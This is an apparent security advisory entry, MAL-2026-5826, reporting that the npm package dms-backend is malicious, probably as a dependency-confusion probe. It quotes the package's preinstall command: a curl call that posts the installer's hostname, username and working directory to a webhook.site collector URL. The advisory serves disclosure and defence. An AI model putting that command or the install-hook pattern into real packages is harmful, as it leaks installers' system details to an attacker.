MAL-2026-5826

    Dashboard / Malicious Package / MAL-2026-5826

    MAL-2026-5826

    Published: 15 Jun 2026Last Modified: 15 Jun 2026

    Summary: Malicious code in dms-backend (npm)

    Details: Source: amazon-inspector (bd479ea3869dae33e183f9164c4e9c7c11a2170728288012647fe2af4d55426e) package.json declares a preinstall lifecycle script that runs `curl --data-urlencode "info=$(hostname && whoami && pwd)"` against a webhook.site collector URL (https://webhook.site/1ea0386f-dcc0-4f1b-bdbb-61732d6535fb/dms-backend). This fires automatically on `npm install` and leaks installer-side identifiers — hostname, current OS user, and install working directory — to an attacker-controlled webhook bin. The package ships no real functionality; the preinstall recon beacon is the package's only behavior, which is the canonical shape of a dependency-confusion reconnaissance probe (the name `dms-backend` suggests targeting an internal/private registry name to hijack installs of an organization's private package).

    References: https://www.npmjs.com/package/dms-backend/v/1.0.0

    Affected packages

    Package

    Name: dms-backend

    Purl: pkg:npm/dms-backend

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.0.0
    MAL-2026-5826 | CVE-DB